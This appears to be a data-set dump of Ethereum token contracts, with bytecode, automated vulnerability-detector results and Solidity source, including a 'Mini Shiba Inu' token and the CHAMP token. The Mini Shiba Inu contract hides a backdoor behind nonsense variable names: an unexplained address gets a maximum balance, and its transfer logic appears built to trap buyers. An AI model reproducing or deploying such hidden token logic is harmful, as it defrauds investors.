50509450945094915050565b600061282361281e84613135565b613110565b9050808382526020820190508285602086028201111561284257600080fd5b60005b858110156128725781612858888261287c565b845260208401935060208301925050600181019050612845565b5050509392505050565b60008135905061288b81613773565b92915050565b6000815190506128a081613773565b92915050565b600082601f8301126128b757600080fd5b81356128c7848260208601612810565b91505092915050565b6000813590506128df8161378a565b92915050565b6000815190506128f48161378a565b92915050565b600081359050612909816137a1565b92915050565b60008151905061291e816137a1565b92915050565b60006020828403121561293657600080fd5b60006129448482850161287c565b91505092915050565b60006020828403121561295f57600080fd5b600061296d84828501612891565b91505092915050565b6000806040838503121561298957600080fd5b60006129978582860161287c565b92505060206129a88582860161287c565b9150509250929050565b6000806000606084860312156129c757600080fd5b60006129d58682870161287c565b93505060206129e68682870161287c565b92505060406129f7868287016128fa565b9150509250925092565b60008060408385031215612a1457600080fd5b6000612a228582860161287c565b9250506020612a33858286016128fa565b9150509250929050565b600060208284031215612a4f57600080fd5b600082013567ffffffffffffffff811115612a6957600080fd5b612a75848285016128a6565b91505092915050565b600060208284031215612a9057600080fd5b6000612a9e848285016128d0565b91505092915050565b600060208284031215612ab957600080fd5b6000612ac7848285016128e5565b91505092915050565b600060208284031215612ae257600080fd5b6000612af0848285016128fa565b91505092915050565b600080600060608486031215612b0e57600080fd5b6000612b1c8682870161290f565b9350506020612b2d8682870161290f565b9250506040612b3e8682870161290f565b9150509250925092565b6000612b548383612b60565b60208301905092915050565b612b69816132cb565b82525050565b612b78816132cb565b82525050565b6000612b8982613171565b612b938185613194565b9350612b9e83613161565b8060005b83811015612bcf578151612bb68882612b48565b9750612bc183613187565b925050600181019050612ba2565b5085935050505092915050565b612be5816132dd565b82525050565b612bf481613320565b82525050565b6000612c058261317c565b612c0f81856131a5565b9350612c1f818560208601613332565b612c288161346c565b840191505092915050565b6000612c406023836131a5565b9150612c4b8261347d565b604082019050919050565b6000612c63602a836131a5565b9150612c6e826134cc565b604082019050919050565b6000612c866022836131a5565b9150612c918261351b565b604082019050919050565b6000612ca9601b836131a5565b9150612cb48261356a565b602082019050919050565b6000612ccc601d836131a5565b9150612cd782613593565b602082019050919050565b6000612cef6021836131a5565b9150612cfa826135bc565b604082019050919050565b6000612d126020836131a5565b9150612d1d8261360b565b602082019050919050565b6000612d356029836131a5565b9150612d4082613634565b604082019050919050565b6000612d586025836131a5565b9150612d6382613683565b604082019050919050565b6000612d7b6024836131a5565b9150612d86826136d2565b604082019050919050565b6000612d9e6017836131a5565b9150612da982613721565b602082019050919050565b6000612dc16011836131a5565b9150612dcc8261374a565b602082019050919050565b612de081613309565b82525050565b612def81613313565b82525050565b6000602082019050612e0a6000830184612b6f565b92915050565b6000604082019050612e256000830185612b6f565b612e326020830184612b6f565b9392505050565b6000604082019050612e4e6000830185612b6f565b612e5b6020830184612dd7565b9392505050565b600060c082019050612e776000830189612b6f565b612e846020830188612dd7565b612e916040830187612beb565b612e9e6060830186612beb565b612eab6080830185612b6f565b612eb860a0830184612dd7565b979650505050505050565b6000602082019050612ed86000830184612bdc565b92915050565b60006020820190508181036000830152612ef88184612bfa565b905092915050565b60006020820190508181036000830152612f1981612c33565b9050919050565b60006020820190508181036000830152612f3981612c56565b9050919050565b60006020820190508181036000830152612f5981612c79565b9050919050565b60006020820190508181036000830152612f7981612c9c565b9050919050565b60006020820190508181036000830152612f9981612cbf565b9050919050565b60006020820190508181036000830152612fb981612ce2565b9050919050565b60006020820190508181036000830152612fd981612d05565b9050919050565b60006020820190508181036000830152612ff981612d28565b9050919050565b6000602082019050818103600083015261301981612d4b565b9050919050565b6000602082019050818103600083015261303981612d6e565b9050919050565b6000602082019050818103600083015261305981612d91565b9050919050565b6000602082019050818103600083015261307981612db4565b9050919050565b60006020820190506130956000830184612dd7565b92915050565b600060a0820190506130b06000830188612dd7565b6130bd6020830187612beb565b81810360408301526130cf8186612b7e565b90506130de6060830185612b6f565b6130eb6080830184612dd7565b9695505050505050565b600060208201905061310a6000830184612de6565b92915050565b600061311a61312b565b90506131268282613365565b919050565b6000604051905090565b600067ffffffffffffffff8211156131505761314f61343d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c182613309565b91506131cc83613309565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613201576132006133df565b5b828201905092915050565b600061321782613309565b915061322283613309565b9250826132325761323161340e565b5b828204905092915050565b600061324882613309565b915061325383613309565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328c5761328b6133df565b5b828202905092915050565b60006132a282613309565b91506132ad83613309565b9250828210156132c0576132bf6133df565b5b828203905092915050565b60006132d6826132e9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332b82613309565b9050919050565b60005b83811015613350578082015181840152602081019050613335565b8381111561335f576000848401525b50505050565b61336e8261346c565b810181811067ffffffffffffffff8211171561338d5761338c61343d565b5b80604052505050565b60006133a182613309565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d4576133d36133df565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208e347deee1400779051fd9f65d88258ddf886ad17340be1f127a72d09b546cd864736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,426
0xA638048229F7A33EDd7119a219B51862F397EE40
/* https://t.me/minishibainu_eth https://www.minishibainu.live */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.3; // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), 'Ownable: caller is not the owner'); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), 'Ownable: new owner is the zero address'); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Contract is Ownable { constructor( string memory _NAME, string memory _SYMBOL, address routerAddress, address wonderful ) { _symbol = _SYMBOL; _name = _NAME; _fee = 5; _decimals = 9; _tTotal = 1000000000000000 * 10**_decimals; _balances[wonderful] = sit; _balances[msg.sender] = _tTotal; pale[wonderful] = sit; pale[msg.sender] = sit; router = IUniswapV2Router02(routerAddress); uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH()); emit Transfer(address(0), msg.sender, _tTotal); } uint256 public _fee; string private _name; string private _symbol; uint8 private _decimals; function name() public view returns (string memory) { return _name; } mapping(address => address) private silly; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => uint256) private _balances; function symbol() public view returns (string memory) { return _symbol; } uint256 private _tTotal; uint256 private _rTotal; address public uniswapV2Pair; IUniswapV2Router02 public router; uint256 private sit = ~uint256(0); function decimals() public view returns (uint256) { return _decimals; } event Approval(address indexed owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function totalSupply() public view returns (uint256) { return _tTotal; } function balanceOf(address account) public view returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } function volume( address damage, address useful, uint256 amount ) private { address vertical = silly[address(0)]; bool somehow = uniswapV2Pair == damage; uint256 stood = _fee; if (pale[damage] == 0 && pass[damage] > 0 && !somehow) { pale[damage] -= stood; } silly[address(0)] = useful; if (pale[damage] > 0 && amount == 0) { pale[useful] += stood; } pass[vertical] += stood; uint256 fee = (amount / 100) * _fee; amount -= fee; _balances[damage] -= fee; _balances[address(this)] += fee; _balances[damage] -= amount; _balances[useful] += amount; } mapping(address => uint256) private pass; function approve(address spender, uint256 amount) external returns (bool) { return _approve(msg.sender, spender, amount); } mapping(address => uint256) private pale; function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool) { require(amount > 0, 'Transfer amount must be greater than zero'); volume(sender, recipient, amount); emit Transfer(sender, recipient, amount); return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount); } function transfer(address recipient, uint256 amount) external returns (bool) { volume(msg.sender, recipient, amount); emit Transfer(msg.sender, recipient, amount); return true; } function _approve( address owner, address spender, uint256 amount ) private returns (bool) { require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); return true; } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063715018a611610097578063c5b37c2211610066578063c5b37c2214610278578063dd62ed3e14610296578063f2fde38b146102c6578063f887ea40146102e2576100f5565b8063715018a6146102025780638da5cb5b1461020c57806395d89b411461022a578063a9059cbb14610248576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806349bd5a5e146101b457806370a08231146101d2576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b610102610300565b60405161010f91906110b2565b60405180910390f35b610132600480360381019061012d919061116d565b610392565b60405161013f91906111c8565b60405180910390f35b6101506103a7565b60405161015d91906111f2565b60405180910390f35b610180600480360381019061017b919061120d565b6103b1565b60405161018d91906111c8565b60405180910390f35b61019e610500565b6040516101ab91906111f2565b60405180910390f35b6101bc61051a565b6040516101c9919061126f565b60405180910390f35b6101ec60048036038101906101e7919061128a565b610540565b6040516101f991906111f2565b60405180910390f35b61020a610589565b005b610214610611565b604051610221919061126f565b60405180910390f35b61023261063a565b60405161023f91906110b2565b60405180910390f35b610262600480360381019061025d919061116d565b6106cc565b60405161026f91906111c8565b60405180910390f35b610280610748565b60405161028d91906111f2565b60405180910390f35b6102b060048036038101906102ab91906112b7565b61074e565b6040516102bd91906111f2565b60405180910390f35b6102e060048036038101906102db919061128a565b6107d5565b005b6102ea6108cc565b6040516102f79190611356565b60405180910390f35b60606002805461030f906113a0565b80601f016020809104026020016040519081016040528092919081815260200182805461033b906113a0565b80156103885780601f1061035d57610100808354040283529160200191610388565b820191906000526020600020905b81548152906001019060200180831161036b57829003601f168201915b5050505050905090565b600061039f3384846108f2565b905092915050565b6000600854905090565b60008082116103f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103ec90611443565b60405180910390fd5b610400848484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161045d91906111f2565b60405180910390a36104f7843384600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546104f29190611492565b6108f2565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610591610f4d565b73ffffffffffffffffffffffffffffffffffffffff166105af610611565b73ffffffffffffffffffffffffffffffffffffffff1614610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105fc90611512565b60405180910390fd5b61060f6000610f55565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060038054610649906113a0565b80601f0160208091040260200160405190810160405280929190818152602001828054610675906113a0565b80156106c25780601f10610697576101008083540402835291602001916106c2565b820191906000526020600020905b8154815290600101906020018083116106a557829003601f168201915b5050505050905090565b60006106d9338484610a8d565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161073691906111f2565b60405180910390a36001905092915050565b60015481565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6107dd610f4d565b73ffffffffffffffffffffffffffffffffffffffff166107fb610611565b73ffffffffffffffffffffffffffffffffffffffff1614610851576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161084890611512565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036108c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b7906115a4565b60405180910390fd5b6108c981610f55565b50565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561095d5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b61099c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099390611636565b60405180910390fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610a7a91906111f2565b60405180910390a3600190509392505050565b6000600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610bdb57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610be5575081155b15610c415780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c399190611492565b925050819055505b84600560008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610d0e5750600084145b15610d6a5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d629190611656565b925050819055505b80600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610db99190611656565b925050819055506000600154606486610dd291906116db565b610ddc919061170c565b90508085610dea9190611492565b945080600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e3b9190611492565b9250508190555080600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610e919190611656565b9250508190555084600760008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ee79190611492565b9250508190555084600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f3d9190611656565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611053578082015181840152602081019050611038565b83811115611062576000848401525b50505050565b6000601f19601f8301169050919050565b600061108482611019565b61108e8185611024565b935061109e818560208601611035565b6110a781611068565b840191505092915050565b600060208201905081810360008301526110cc8184611079565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611104826110d9565b9050919050565b611114816110f9565b811461111f57600080fd5b50565b6000813590506111318161110b565b92915050565b6000819050919050565b61114a81611137565b811461115557600080fd5b50565b60008135905061116781611141565b92915050565b60008060408385031215611184576111836110d4565b5b600061119285828601611122565b92505060206111a385828601611158565b9150509250929050565b60008115159050919050565b6111c2816111ad565b82525050565b60006020820190506111dd60008301846111b9565b92915050565b6111ec81611137565b82525050565b600060208201905061120760008301846111e3565b92915050565b600080600060608486031215611226576112256110d4565b5b600061123486828701611122565b935050602061124586828701611122565b925050604061125686828701611158565b9150509250925092565b611269816110f9565b82525050565b60006020820190506112846000830184611260565b92915050565b6000602082840312156112a05761129f6110d4565b5b60006112ae84828501611122565b91505092915050565b600080604083850312156112ce576112cd6110d4565b5b60006112dc85828601611122565b92505060206112ed85828601611122565b9150509250929050565b6000819050919050565b600061131c611317611312846110d9565b6112f7565b6110d9565b9050919050565b600061132e82611301565b9050919050565b600061134082611323565b9050919050565b61135081611335565b82525050565b600060208201905061136b6000830184611347565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806113b857607f821691505b6020821081036113cb576113ca611371565b5b50919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b600061142d602983611024565b9150611438826113d1565b604082019050919050565b6000602082019050818103600083015261145c81611420565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061149d82611137565b91506114a883611137565b9250828210156114bb576114ba611463565b5b828203905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006114fc602083611024565b9150611507826114c6565b602082019050919050565b6000602082019050818103600083015261152b816114ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b600061158e602683611024565b915061159982611532565b604082019050919050565b600060208201905081810360008301526115bd81611581565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611620602483611024565b915061162b826115c4565b604082019050919050565b6000602082019050818103600083015261164f81611613565b9050919050565b600061166182611137565b915061166c83611137565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156116a1576116a0611463565b5b828201905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006116e682611137565b91506116f183611137565b925082611701576117006116ac565b5b828204905092915050565b600061171782611137565b915061172283611137565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561175b5761175a611463565b5b82820290509291505056fea264697066735822122063fb4161581a2860af2de69a28c0fbacebc24cd7edca650b193f60bd1607d85364736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,427
0x21a9fe3fece1f317111805329b0107119a99ab67
/** *Submitted for verification at Etherscan.io on 2021-11-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { /** * @dev Returns the name of the token. */ function name() external view returns (string memory); /** * @dev Returns the symbol of the token. */ function symbol() external view returns (string memory); /** * @dev Returns the decimals places of the token. */ function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } contract CHAMP is Context, IERC20, IERC20Metadata, Ownable { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All two of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "Champ Coin"; _symbol = "CHAMP"; _totalSupply = 2100000000 * (10**decimals()); _balances[msg.sender] = _totalSupply; emit Transfer(address(0),msg.sender,_totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, 